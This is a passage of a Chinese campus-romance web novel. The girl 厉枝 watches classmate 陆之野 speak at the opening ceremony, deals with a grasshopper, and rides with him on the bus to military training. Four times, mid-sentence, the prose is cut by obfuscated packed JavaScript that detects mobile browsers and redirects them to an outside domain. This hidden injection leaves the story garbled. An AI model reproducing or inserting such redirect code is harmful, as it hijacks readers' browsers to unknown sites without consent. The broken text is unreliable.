见大家没有把注意力放在讲台上，厉枝在讲台的遮挡下扯了扯陆之野的衣角。 陆之野正在收拾桌面残留的东西，被拉扯了下，随即转身看向旁边，猝不及防就对上了一双圆眼。 这双眼睛抬眸看着他的模样，明明也没什么过大的表情，但他就是觉得楚楚可怜，让人心生一种莫名的保护欲。 小兔子这是怎么了？ “不好意思啊，我好像数漏了一件155-160的，我还没领到衣服。” 陆之野自己都没意识到自己松了口气。 原来是这么一件小事。 “没数错，你的衣服我刚顺手放你座位上了。” 陆之野竟然顺手给她把衣服拿了？ 好在是没数错，她可不希望自己这点小事都做不好。 - 发完衣服，差不多就到要去开学典礼的时间，大家都三三两两成群结队往操场走去。 厉枝一个人走在后面。 她在思考，自己真的能顶着同学质疑的眼神等到下一次的月考吗？她又真的有那个自信觉得月考一定能证明自己吗？ 她到底该怎样做，才是解决问题的最优解呢？ 要跟老师说吗？还是跟爸爸说明下现在的情况呢？ 其实本来也不是件什么大事，以前也有过教师子女依着父母的便利，在更好的班级上课学习，这点爸爸跟她说过的，所以那会儿她才放下了心。 但为什么，大家对她的议论好像更大些呢，还是说其实其他的教师子女也曾经经历过她现在正在经历的这些？ 木已成舟，解释大概意义不大，毕竟永远叫不醒一个装睡的人，而且大家也许不过是图个新鲜话题，才今天多说几句，之后便会淡忘。 总之，厉枝决定，还是靠实力说话。 “想什么呢？台阶啊。” 突然，一道声音出现在背后，吓了厉枝一跳。 来人是陆之野，厉枝之前也没注意到他哪去了，想来应该是刚去办公室找老师，所以这会儿才落在了后面。 低头看了眼面前的小台阶，厉枝对陆之野道了谢，要不是他提醒，她刚刚说不定真的就撞上去了，摔不一定会摔，但踉跄下怕是逃不过。 开学典礼，暨军训动员大会，即将开始—— 班主任也紧跟着在陆之野后面，来到了班级所在的行列最前方。 “大家按身高站好，男女生各一列。” 一番排序下，厉枝站在了中间偏前的位置。 因为总共三十多个班，15班的行列就在主席台左侧，里中心位不远，主席台的情况看得更清楚些，操场两边则还各有一块大屏幕，此时正在直播放映主席台的画面。 天空很蓝，万里无云。 整个操场响彻着校长等领导的激情讲话，台下却都是小声的躁动。 开学典礼这般仪式，对学生而言一开始也许是有些新鲜感的，但散得很快，毕竟谁想在这大太阳天在操场上暴晒。 而想到接下来的军训还会比现在更加折磨，不仅是站着，还得跑步、踢正步等等，厉枝就满是无奈，只是默默拿手遮挡着点头上的太阳。 随后，到了学生代表发言。 一道熟悉的身影出现在厉枝的视线里。 原来陆之野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829903|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是学生代表？但丝毫没听他提起过这事，而且……这家伙怎么连稿子也没带，这是要脱稿演讲吗？还是当着全校高一年级三十多个班的人的面！ “尊敬的领导、老师，亲爱的同学们，大家上午好，我是高一15班的陆之野。” 大音响里，传出陆之野好听的声音，带着少年这个年纪该有的意气。 “非常荣幸能作为学生代表在这进行发言……” 相比刚刚各个领导的讲话时台下的无人在意，此时，大家却是大多看向了主席台，看着那个同样年纪的同学，在台上闪闪发光。 他脱稿，却也讲得流畅。 听着是篇一本正经的演讲稿，想来也是经过老师的多次审核和修改才最终定稿，但在陆之野嘴里说出来，总是多了些漫不经心，少了些一板一眼。 一边讲着，他还时不时视线扫过台下，每个班级的位置都没落下，从容自得。 日光倾洒在陆之野的身上，隔着不远不近的距离，厉枝看着他。 曾经她在初中时，也在老师的要求下，当着全校的面做过一次演讲。 那时候，她压根不敢朝台下看，更不要说什么眼神互动，也不敢脱稿，怕自己掉链子。 演讲时，厉枝有听到旁边老师小声对她说——“大点声，自信点” 演讲完，厉枝看到老师有些僵硬的笑容，她觉得，自己大抵是让老师失望了。 虽然心里知道，要多锻炼才能更加淡定从容应对大场面，但是自那之后，她都会竭力避免这种情况。 可现在看到陆之野在台上的模样，她的心跳有些加速，心里有种想要破土而出的渴望。 她以后也一定要成为这样闪闪发光的人。 “我的发言到此结束，谢谢大家。”陆之野在台上鞠了个躬。 台下掌声响起。 “天哪，陆之野也太帅了吧，为什么我又没有和他分到一个班！可恶！” 15班女生列旁边挨着的，是16班的女生列，只听厉枝旁边的一个女生道。 说话女生的视线此时还紧紧粘在陆之野身上，看着他一路走下来。 厉枝瞥了眼那个女生，是个长相很是明艳的女孩子，比她更高一些。 同样都是宽松的蓝白校服，但厉枝看着她的，觉得好像有些些不一样，大概是裁缝改良过的，更加修身了些，也更加好看些，突显了女生的身材。 肥大宽松的校服裤子，裤腿处被卷了几卷，变成九分裤，露出纤细的脚踝。 厉枝有注意到，一中挺多学生都喜欢把裤腿卷着，或是带卷的直筒，或是卷的时候还折一下，变成带收脚感觉的裤子。 低头看了眼自己几乎盖到鞋面的校裤，此时，厉枝已经听到有陆之野的脚步声传来，他已经走到15班最前面了。 再抬眸，隔着许多人头，厉枝一眼就看到身高上鹤立鸡群的陆之野，他在往后排走去。 他是在15班的两列中间往后排走的。 等到他快经过时，厉枝还没来得及收回的视线与陆之野对上。 本以为他会继续往后走，视线也会随意转开，但却只见陆之野停下脚步，就停在她的侧前方，那双漫不经心的眸子不偏不倚落在她的脸上。 什么情况？？ “别动。”只听他道，音响里，下一个同学的发言彻底沦为了背景音。 此时，周围人都已经往这边看。 厉枝不知道陆之野到底什么意思，却也是真的不动，整个人愣在原地。 只见陆之野抬手，方向似乎是朝着她的头而来…… 8. 第 8 章 厉枝下意识要闪躲，但下一刻，陆之野的手速更快些。 她只感觉到头发上有一下轻微的触动，随即，便看见陆之野手里捏着一直像是小蚂蚱的昆虫，就放在她面前十多厘米的位置。 她刚刚头发上竟然有只蚂蚱？她都没感觉到？！ 被这突如其来的蚂蚱吓了一小跳，厉枝往旁边了半步，差点不小心撞到刚刚那个说话的女生，但还是微微碰到了下那个女生。 “不好意思。”厉枝赶紧扭头道。 见那女生也没说些什么，反而顺着她的视线看，厉枝发现她在看着陆之野。 “不用谢。”陆之野道。 还没等厉枝道谢，陆之野就捏着那只蚂蚱继续往后排走去。 操场的中间是草地，又是夏秋季节，自然是小虫子什么的多些，有蚂蚱出现也不足为奇。 厉枝刚刚被小小惊吓到的心，此时也很快安定了下来。 再一扭头往后排看去，只见最后排，陆之野往更后面一些的空地走去，随即，微垂在身侧的手往地上抛了下。 隔得远，厉枝看不清那只蚂蚱了，但想来是陆之野把蚂蚱扔回了草地，还特地是扔在没人的地方。 扔完，陆之野转身归队，攒攒的后脑勺中，他一眼就看到有那么几个扭头往后看的人，其中，他的视线一眼就锁定在了一个人脸上。 厉枝发现偷看被发现，赶紧扭回了头。 “啊啊啊，刚刚陆之野抓蚂蚱也太稳准狠了吧，也太淡定了，可恶，为什么蚂蚱不是在我头上？！”旁边，又是那道熟悉的女声。 “额……不知当说不当说，你肩上刚飞了个过来，一秒前。”那个女生的同学道。 一瞬的沉默后，是那个女生压低的惊叫。 “快给我弄下去啊啊啊啊，救命，我最怕虫子了，我收回刚刚那句话！” 那个女生想要上手把蚂蚱拂掉，却又不敢上手，另一个女生也是有些犹豫。 厉枝见状，从口袋里拿出一小包纸巾，飞快抽了张纸出来，轻轻盖在那个女生的肩上，迅速将那只蚂蚱也包了起来，握在手里，却也没用力，怕伤着那只蚂蚱。 “谢谢你了，”见自己得救，那个女生松了口气，“认识下吧，我叫李媛媛，你呢？” “厉枝。” 待厉枝说出自己名字时，她感觉那个叫李媛媛的女生好像眼神有些微动，想来也是对15班的事情有所耳闻，或是对她“关系户”的名号有所耳闻吧。 “你不怕虫吗？就这么握着它吗？”李媛媛道，看了眼厉枝握着一团纸的右手。 “还好，不太怕，只要不是像刚刚那样突然出现，”厉枝解释道，同时把右手离李媛媛远了些，“现在也不好把它放哪去，开学典礼也快结束了，待会儿再看情况吧。” 于是，厉枝就这么握了五分钟，开学典礼终于结束。 她本来想像陆之野一样，等大家都走了，便落在后排把蚂蚱给放草地上，但老师让大家一个一个跟上，按顺序走，便只得作罢，最后竟是一路带回了教室。 好在，她位置靠窗，且这栋教学楼的背后就是一处有池塘有树有草的景观绿化，三楼也不算高。 “你手里握着的什么啊？”林曼在座位上坐下，有些好奇地看着厉枝。 她刚刚看厉枝握了一路回教室，本来还以为是垃圾，但并没看见厉枝把东西扔垃圾桶。 本来正准备开窗，被这么一问，厉枝在自己课桌上微微摊开了那张卫生纸。 哪曾想，被禁锢久了的蚂蚱突然从那个小洞口挣脱而出，直直往探头看着的林曼身上飞去。 “啊啊啊！”林曼一个弹跳就从座位上蹦了起来。 这时，徐佳航和陆之野二人刚到座位，还在讲着些闲话，没来得及坐下，就被这尖叫吸引了注意。 “救命啊航哥！”林曼躲到徐佳航背后，那蚂蚱则稳稳落在了林曼的课桌上。 “啊啊啊，我昨天刚买的手账本！还是新的！快把这虫弄走！” 见林曼这么大反应，两个男生却是没第一时间上前去处理。 他们知道林曼虽然看着咋咋呼呼又大大咧咧的性子，但从小到大都怕虫怕得不行。 “哪来的蚂蚱？”陆之野道，说话的时候，却是看着站在自己座位上，正捏着张揉成一团的纸巾、有些手足无措的厉枝。 罪魁祸首是谁，一目了然。 他倒是没想到，厉枝竟然还有这个胆子，一路带了只蚂蚱回教室，看来在操场时，倒是他做了件多余的事。 还以为像厉枝这样看着像小白兔的女生，该是怕虫子的，毕竟，连林曼都怕。 有些出乎意料。 “我要放生来着，不小心飞出来了。” 厉枝赶紧开窗，随即伸手捞过那本手账本，往窗台抖落了下，蚂蚱便落在了窗台，下一秒，干脆利落关上了窗，手账本却是有些犹豫要不要还给林曼。 林曼还是刚刚退避三尺的状态，想来应该很介意吧。 “不好意思啊，要不我赔你一本？”厉枝道。 “害，小事，犯不着，我把我的给她换下就行了，反正都是她一起买的，也不知道什么癖好，就喜欢买这些中看不中用还占地方的本子。” 徐佳航接过厉枝手里的本子，往自己桌上一放，随即从抽屉里拿出了本新的，甚至还没拆塑封。 “喏。” 林曼接过，但坐回座位之前，还让徐佳航帮忙擦了两遍桌子，这才坐下。 “没事，日常。” 陆之野懒懒坐在座位上，已经开始漫不经心翻阅一本杂志，对于前桌二人的动静丝毫不在意，显然是习以为常。 但厉枝还有些不好意思，本想上手帮着做点什么，但有徐佳航在，似乎也不需要她加入，便只得做罢。 往窗外一看，刚刚还在的蚂蚱，此时已经消失不见，窗台空空如也。 蚂蚱飞走了。 对了，她差点忘了个事。 之前搬衣服时帮了忙的那个眼镜男生，她还不知道叫什么名字。 看了下教室，那个男生就在他的斜前方，倒数第三排的样子。 当时没直接问名字，现在再直接凑上去问名字，显然也不是个事。 于是，厉枝求助的目光转向了陆之野。 男生还在专注地看着杂志，但说是专注也不太贴切，毕竟还是一副漫不经心的模样。 厉枝正要喊他，只见男生翻了下书页，开始看下一页。 想开口的心顿时又收回了些。 要不还是不打扰他了，以后有机会肯定会知道的，不急于一时。 厉枝便扭回了头，从抽屉里拿出手机。 一中对于手机等电子产品管得没那么严，只是若是在学校里玩手机被老师抓到，便会没收，然后要家长来才能取回去。 所以，上课一般没人敢玩手机，只有午休和晚上放学后，没有老师管的情况下，才会拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829904|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来，再加上是尖子班，玩手机的人更是少之又少，都是比较自律的人。 除了……徐佳航。 但他玩手机也不至于当着老师的面，表面的掩饰功夫还是会做的，而且也不会发出些打扰别人的动静，就是一个人安安静静的玩，也不知道在玩些什么。 厉枝再次确认了下手机是静音模式，且媒体音量为0，这才打开了音符APP。 暑假的时候，她刷到了些有意思的配音，便自己偷偷背着母亲自学了下，后面也会偶尔把觉得配得好的配音片段发在网上，大多是些影视剧里的名场面台词。 一打开，竟然小心心有99+，粉丝数也翻了几番。 她这几天忙着开学的事，便没登录，这般反馈倒是称得上是个惊喜，评论区里也一水儿的在夸她配得很好，可甜可御。 这种被人肯定的感觉，无疑是极好的。 旁边，陆之野看了一小会儿杂志，也不知道那段话到底是在说些什么狗屁不通的哲学。 余光里的人明明刚刚还是面向他的，一副要搭话的样子，但现在怎么又缩回去了？还玩起了手机？ “老师来了……”陆之野凑近，用气音在厉枝耳边说道。 果不其然，女生一听到动静，就立刻把手机息屏，放回了抽屉，动作迅速。 但她并没往门口看去，陆之野眉头微挑，按理来说，说了“老师来了”，不该下意识往门口去看老师是不是真来了吗？他以前逗徐佳航他们的时候，都是那样的反应。 而厉枝却是直直看着她，眼神里似乎写着“我知道你是骗人的”。 滑铁卢了。 “老师来的会有高跟鞋的声音，下次骗人记得找老师穿平底鞋的时候。”厉枝淡淡道。 表面淡定，但实际上，厉枝心跳却是有些加快。 刚刚陆之野凑过来时她没注意到，注意力都在手机上，听到他的声音后，第一反应是陆之野靠近了，不能让他看到她的秘密，配音的事她不想让任何人知道，第二反应则是，这家伙在骗人。 总之，手机还是麻利收了起来。 “既然知道是骗人，那还躲什么？”陆之野道，嘴角勾着一丝无奈的笑。 没想到被反将了一军，还教起他来了。 话一问完，陆之野就反应了过来。 既然知道老师来了是假，那还收起手机，躲着的，无疑是他。 他刚刚也只是想逗一下小姑娘的，也没对她手机里有什么感到有兴趣，但是现在，却莫名有些好奇。 “……这不是配合你一下吗，怕你尴尬。”厉枝道。 厉枝看着陆之野，见他轻笑了下，便猜这个话题想来是翻篇了。 可……陆之野干嘛突然做出这么幼稚的行为？ 厉枝还没细想，下一秒，对方便像是看透了她的想法一般，给出了解释。 “我是见你个好学生也在教室玩手机，这种行为不好，作为临时班长，小小提醒，”陆之野正色了几分，“你刚刚是不是有什么话要跟我说来着？” 本来厉枝都没打算问陆之野了的，但既然话都说到这份上，问便问了。 “你认识的人多，我就是想问下，那个戴眼镜的男生叫什么名字啊？” 厉枝抬手，朝一个方向指了下。 陆之野顺着看过去，在对上申玮的背影时，眉头微皱。 她问起申玮做什么？ 所以刚刚将说未说的话，就这？ 9. 第 9 章 “申玮。” 陆之野给出这两个字后，自顾自又拿起杂志继续看。 “哪个shen，哪个wei？”厉枝小声追问，毕竟问了就问清楚，才不要这样不清不楚的。 杂志被倏地合上，陆之野转头盯了厉枝一秒，随即，直接扭头朝着申玮的方向提高声音喊道—— “申玮，你英语单词本借我看下。” 那一瞬间，厉枝只觉得脑袋嗡了一下。 陆之野这家伙这是做什么？她就问个名字，说一下不就好了？或者像之前他自己介绍自己时手写名字那样也行啊，这突然喊住正主，还借本英语单词本是什么操作？ 厉枝不懂。 话落后，厉枝便看见那个叫做“shenwei”的男生扭过了头来，对陆之野的这般行为倒是也没多说什么，随即，一本有些厚度的单词书在空中经过一个抛物线后，落在陆之野怀里。 “用完记得还我。” 眼镜男生对着陆之野说完，推了下眼镜，又转回了头去，拿起笔不知道在写些什么，像是在做题。 厉枝察觉到，他推眼镜的时候，视线往她这瞟了下。 莫非是刚刚陆之野回答她名字时，声音太大，被安静做题的他听到了？ 早该知道陆之野这般散漫性子，大概是不会怎么注意这些细节的，要是能回到一分钟前，她断然是不会问陆之野的。 可是，事情已然发生。 罢了，不过是问了个名字而已，没什么大不了的。 “给，自己看。” 陆之野把手里的单词书推到厉枝的课桌正中间，上面端端正正地写着“申玮”二字。 原来是这两个字。 申玮的字迹和陆之野的相比，当真是端正、正经得多，一板一眼的，倒是也挺符合他清冷学霸的气质。 “看好了。”厉枝把单词书又推回到了陆之野的桌面。 本以为他会立刻还回去，但却是拿起来翻开，一副认真默背单词的认真模样。 厉枝不禁想，他大概是本来就想借申玮的单词书学习吧，所以刚刚会直接喊申玮，也不过是顺便。 —— —— 下午，大家要集合去军训的训练基地入住。 等到第二天，军训便会正式开始。 军训的地点是海城郊区的一个训练基地，来海城一中当军训教官的，通常是海城本地大学的国防生。 军训一周，都得在训练基地度过，分男女住集体宿舍，分别在南楼和北楼。 寝室是八人寝，以班级为单位。 厉枝没住过宿，现在高中也是走读，却没想到军训的时候要住宿，还是八人寝。 有些期待，但更多的是紧张。 - 中午回家，本以为会是从食堂打包回来的饭菜，但竟然是她父亲亲手做的，虽然其貌不扬，但味道还过得去。 吃完饭，厉枝回房间收拾东西，而她父亲则收拾碗筷，洗完碗出去扔垃圾。 等收拾好，从家里提着行李箱准备出门时，父亲都还没回来。 厉枝走到阳台，想看看人到哪了，毕竟垃圾回收站也就百来米的距离，大半路程都是楼上看得见的，再转个弯走一段就到了。 但往楼下望了眼，却是在不远处看见一个熟悉的身影。 陆之野怎么在这？ 莫非，他也住这个小区？ 而且，他怎么好像认识她父亲，还比较相熟的模样，虽然听不见他们在说什么，但看得出二人在楼下交谈甚欢，她父亲手里还提着那袋要去扔的垃圾都还没扔掉。 脑子里有许多疑惑冒出，随即，便看到楼下那两人打招呼像是道别，陆之野单手骑着赛车，单手拎着行李箱，就这么骑走了。 突然，脑子里闪过一个画面—— 原来，早上那个骑车离开的残影，就是陆之野！ 他真的住这个小区，他们真的算是邻居！ 这般巧合，厉枝都不知道该说些什么。 等等！ 如果说，已知她父亲与陆之野相熟，并且已知他们会在同一个班，那是不是可以得出，陆之野在与她认识之初，便那般熟络热情，是有她父亲拜托照顾一二的缘故？ 原来如此吗…… 也是了，就算外向如陆之野，也确实没道理在第一次见面，就那般热情，但当时她压根没细想，也不知道该如何想，只顾得上落荒而逃。 她那般模样，在陆之野看来，肯定觉得很好笑吧。 没一会儿，家门口传来动静，是父亲回来了。 “东西都收拾好了？我送你去学校？”一进门，厉诚就道。 “收拾好了，走吧。” 车上，厉枝问道：“爸，你认识我们班的陆之野吗？一个学霸，现在……是我的临时同桌。” 不知道为什么，私心里，厉枝是希望父亲不认识陆之野的。 可是他们显然认识。 “认识啊，那孩子不错，要是学习上有什么问题，也可以多和他讨论。” 果然认识，而且还挺了解的样子。 “那……爸，你是不是……”是不是有拜托陆之野在学校关照关照我什么的？ 车稳稳停下，已经到了学校门口，这里不能停车，只能临时停靠，校门进去的广场空地处已经乌泱泱一群人了，大家在此按班级集合。 厉枝没问完的问题戛然而止，此时也快到集合的时间，只得赶紧下车。 本来觉得家和学校的距离近是件好事，但此时此刻，厉枝却是觉得有些太近了，一下子就到了目的地，甚至没来得及问第二个问题。 不过，答案很明显，不是吗。 所以他才会主动打招呼，才会喊她一起去清点军训服，才会让她去班上喊人，种种种种，无非就是所谓的关照，与她认识，并给她机会与班上的人有交流沟通。 不过，她没什么需要陆之野关照的，所以即使父亲或随口或郑重拜托了陆之野，即使陆之野如约照做，不知道为何，本该有的感激之情却并未出现，相反，她莫名地想远离陆之野。 她不需要。 - 走到15班的位置，厉枝一眼就看到了陆之野，正在队伍前面忙着些什么。 见厉枝过来，只见他在手里的花名册上打了个勾。 “就差你了，踩点可真行。” 还没等厉枝回些什么，她也还没想好要回些什么，陆之野便转头看向了15班众人。 “人都齐了，大家待会儿等一号车回来了，就赶紧上车，我们和16班一个车。” 说曹操曹操到，1号大巴缓缓开了过来。 车一停下，门一开，厉枝便往上走去。 她要坐前排。 她从小就晕车，尤其是这种大巴。 来海城后，坐车也就两次。 第一次是从机场回家，那时候，一上车，父亲就给她递过了晕车贴，尽管外面有些热，也把车窗给打开了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829905|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通风透气，这样她不容易晕车。 好在路上不堵车，虽然花了将近一个小时，但也只是稍稍有些反胃的感觉，下车后缓了缓，便也缓过来了。 第二次，便是刚刚她父亲送她来学校，也就两分钟的路程，犯不上就因此晕车。 可是，现在是大巴，而且要做二十分钟的样子。 有些为难。 耳边是提前贴好的晕车贴，在出门时便贴上了。 上车，厉枝在司机后边的第一排坐下，随即看向窗外，不去看车门。 车门处，是不断上车的同学。 “咦，第一排被抢了，那我们坐这边的第一排吧。” 这个声音有些耳熟，是申玮的男同桌。 厉枝微微侧头看向车门，来人正是申玮和他同桌。 “你也晕车？”厉枝问道。 “嗯，晕。”申玮回答完，就直接靠着窗闭目养神，不再说话。 车里，有股淡淡的汽油味，闻了有些不舒服，还有车里闷久了的不通风的味道，总之让人不是很舒服，又夹杂着有味道的空调，更是让人难受。 厉枝也闭目养神，浅浅呼吸，试图让自己尽快适应。 周围，是同学们的欢声笑语，车一晃一晃的，不断有人上车，越发热闹。 也不知道等了多久，大概是没多久的，但对厉枝来说，在车上的时间总是格外的漫长。 “我们班人都上齐了，你们班呢？” 是陆之野的声音。 “我再数一遍吧，两个班的总人数和车里人数对上就行。” 是苏佳宁的声音。 他们都是班长，15班和16班又是一起出动，在一块是再正常不过的事了。 厉枝虽然闭着眼，但对周围的动静和声音反而更加敏感，陆之野和苏佳宁，就在车门的位置，距离她不过一步之遥。 她旁边的座位，还没有坐人，尽管那么多人经过，却大多是成双成对的，直直经过她，或是有单的也未可知，总之，没人在她旁边的空位坐下。 旁边传来苏佳宁数人数的声音，很快，她就数好了。 “人数没错，师傅可以麻烦您开车了。” 两个班的班主任此时就在车门口，老师不会和学生一起过去，在训练基地，一切都要服从那里教官的指示。 看到两位班长配合默契，又把事情做好，两位女老师相视一笑。 “大家在那边都照顾好自己啊。” “一周后见面希望大家还是白白胖胖的哦。” 车门关上的声音响起，车内一片热闹。 “那我们也都找位置坐吧，车要开了。”苏佳宁道。 厉枝听到一道女声响起——“佳宁，这里~给你留了座位！” “来了来了~” 一道脚步声经过，是苏佳宁去找她同学。 那么，还剩下陆之野，他还没有离开，没听见他的脚步声。 “我能坐这吗？”旁边，陆之野的声音响起。 与此同时，只感觉到身边微微一陷。 陆之野在她旁边坐下了吗？ 为什么呢，明明后排应该还有空位置的。 几乎是下一秒，车启动。 那一瞬间，微微晃动的不只是车和身体，心脏也一瞬间的震颤。 算了，管他为什么呢，不管是前排好负责管理，还是懒得往后走所以就近，亦或是别的什么，都无所谓。 他爱坐哪坐哪，与她无关。 10. 第 10 章 “随便你，反正是空位置。” 厉枝没睁眼，只是轻声回了句。 再之后，便没听到陆之野再说些什么，也没别的动静，反正终归是在这个位置坐下了。 她没看到的是，陆之野盯着她看了两秒，看着厉枝的靠着窗、闭着眼、面无表情的模样。 在这两秒，正准备戴耳机的手也在空中悬滞，他的眉眼有几分疑惑，似乎是没明白为什么同桌好像变得冷淡了些。 不过，他也只是看了两秒，随即便自顾自拿着手机翻找歌单去了。 - 时间过了多久，厉枝不知道，她只知道，车等了三个红绿灯。 可惜她这会儿睡不着，要是睡着了的话，便不会那么容易晕车。 身体已经微微有些晕车的前兆，微微有些反胃的感觉，虽然这感觉从上车就开始有，一直没消解，脑子却一直是清醒的。 还有多久才能到啊。 “厉枝。” 她听到有人叫她的名字，像是申玮的声音。 她睁开眼，往右边看去，越过陆之野好看的侧脸，看见了申玮朝她招了下手，手里拿着的是一颗像是薄荷糖的东西。 陆之野是闭着眼睛的，睫毛很长，但来不及细看，只是匆匆一瞥。 “吃颗薄荷糖吧，会好受一些。”申玮道，同时，把薄荷糖给了坐他左边的同桌，让他帮忙递一下。 “谢谢。”厉枝往中间过道倾身，同时手伸出去，越过陆之野身前，接过了那颗糖。 身子刚一收回来，就发现陆之野睁开了眼，二人视线对上。 厉枝在自己的座位上坐正，撕开薄荷糖的包装纸，将薄荷糖放入嘴中。 一股清凉的感觉顿时席卷了口腔，也将之前几分不舒服的感觉压下去了些许。 薄荷糖确实挺有用的。 “你晕车？”旁边，陆之野开口道。 厉枝只是“嗯”了句，便继续闭上了眼睛。 她在想，她可千万不能吐，不然肯定会在班上甚至年级里出名，毕竟有谁开学第一天在去军训的路上就直接吐在车里的啊。 更不想的，是不想在陆之野面前再出丑。 虽然好像从一开始，她就像个什么都不知道的、被蒙在鼓里的小丑，但小丑也是有自尊的。 就算是冲着这一点，她也会竭尽全力克制晕车。 “听听歌？应该会好受点。” 厉枝微微睁开眼，看到的是陆之野的手在面前，他手里，是一只耳机，线的另一头，是在陆之野的左耳。 “刚擦过了。”见厉枝没接过去，陆之野补充道。 “不用了，谢谢啊。”厉枝终归是拒绝了。 如果陆之野对她的好只是出于她父亲的缘故，那么她宁愿不要。 不然，她会习惯，会依恋，但最后她会发现，那不过是镜花水月。 所以，一开始便不要有任何幻想。 陆之野权当厉枝是因为坐车不舒服的缘故才是这般冰冷冷的样子，也没太放在心上，不过还是搜了搜书包，里面也有些薄荷糖。 薄荷糖谁没有。 刚刚看到厉枝近在眼前，却是越过他去接别人的薄荷糖时，睁开眼的瞬间有些不爽。 明明是他的同桌，是他罩着的人，哪里犯得着要别人的薄荷糖。 不就是搬衣服的时候一起过去的吗，就一下变得这般熟络，甚至比他这个同桌还熟的样子。 早知道他自己去一趟算了。 心里，莫名有种不爽的感觉，但那些思绪也不过是倏忽飞过脑海，粗疏的神经抓不住那些细腻的情绪。 “给，我这还有些薄荷糖，你拿着。” 陆之野不由分说，在厉枝还没睁眼的时候，就把一小把糖塞到了她自然垂在腿上的手里，塞到了她手心。 厉枝本想拒绝，但睁开眼转头看去时，陆之野已然闭上眼睛，耳机戴着，一副不太愿意别人打扰的模样，甚至头往过道的方向侧了侧。 于是只得做罢。 轻声到了句谢，厉枝便继续闭目养神。 她旁边的男生此时闭着眼，右边嘴角却是有一丝淡淡的笑意，是得意，是得逞，总之心情比刚刚愉悦了几分。 —— 车终于稳稳停下，此时，口中的薄荷糖也已经融化完全。 车门一打开，厉枝就赶紧站起身，陆之野见状便把长腿往过道转去，给她让出空间。 左右两边的第一排靠窗位置的人，一左一右此时都是一副要争当第一个下车的架势，颇有默契的，直接在过道差点撞上。 陆之野掀起眼皮淡淡看到这一幕，那两人都快要贴上去了，然后将将刹住。 两个晕车的，真是绝配。陆之野心里冷哼了一下。 —— 寝室都是按照班级已经安排好了，每个床都已经随机贴了名字标签，是上下床，宽度大概0.9米的样子。 厉枝在下床。 这点倒是值得庆幸，她可不喜欢爬上爬下。 因为不可能刚好所有班都凑成8的整数倍，所以15班有一部分女生和16班的凑在一个寝室。 好巧不巧，仅认识的两个16班女生，苏佳宁和李媛媛，都和她在一个寝室。 “10分钟后查寝，大家把违禁物品和私藏的零食都上交到每个寝室门口的箱子里，以寝室为单位，军训结束后还给大家。” 广播响起。 “啊？我还特地带了小零食呢，这下白带了。”李媛媛哭丧着脸。 “手机也要上交吗？我还特地下了一部电视剧准备看呢。”另一个女生抱怨道。 8个人都在抓紧时间收拾东西，但其中，厉枝其实已经很快收拾好了，只是在看着从口袋里拿出的一把薄荷糖，神色纠结。 这也要上交吗？ 糖而已，也不是那些大包小包的薯片，应该没事吧。 抱着侥幸的心里，厉枝打开了笔袋的拉链，打算把薄荷糖放在了笔袋里。 倒也不是藏着零食要偷偷吃的意思，只是想收藏着，好好收起来，不想交出去，万一，这么不显眼的东西丢了怎么办。 “还有三十秒。”广播又响起。 “时间到。” 此时，门口走廊传来动静，是教官开始进寝室检查了。 女生住在北楼，此时来的也都是几个女教官。 宿舍楼是一个工字型，在南北楼之间的是大门，进门左右便分别是南楼和北楼。 此时，隔着一条不算很短的过道，少说也有三四十米，却也能听见男生宿舍那边的热闹，大多是学生的“哀嚎”，此情此景，无非是因为藏起来的东西被发现。 一男生寝室，此时徐佳航黑着脸，目送教官离开。 一分钟前，他藏在鞋子里的手机被发现，并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829906|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂时收缴。 “我就说藏鞋子里不行吧。”陆之野笑得放肆，同时不知道从哪里掏出了一部手机，眼神嘚瑟，“灯下黑，懂不懂？刚刚教官在隔壁搜的时候看了眼，没搜身。” “切，就这？”徐佳航起身，往寝室里的洗手间走去，不多时，拿着一台手机出来了，那手机外面还有一层防水塑料包着。 见状，陆之野一手捂鼻子，一手给徐佳航比了个大拇指。 “狡兔三窟啊，就是有点重口味。” “滚啊你，放在水箱里，比你的脸都还干净。” - 